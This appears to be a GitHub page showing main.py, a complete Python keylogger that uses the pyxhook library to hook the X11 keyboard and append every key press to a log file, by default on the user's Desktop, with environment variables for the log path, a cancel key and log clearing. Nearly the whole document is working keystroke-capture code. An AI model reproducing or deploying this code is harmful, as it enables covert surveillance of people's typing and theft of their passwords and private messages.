-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.py
41 lines (33 loc) · 837 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
import pyxhook
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/output.log')
)
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start()
except KeyboardInterrupt:
pass
except Exception as ex:
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))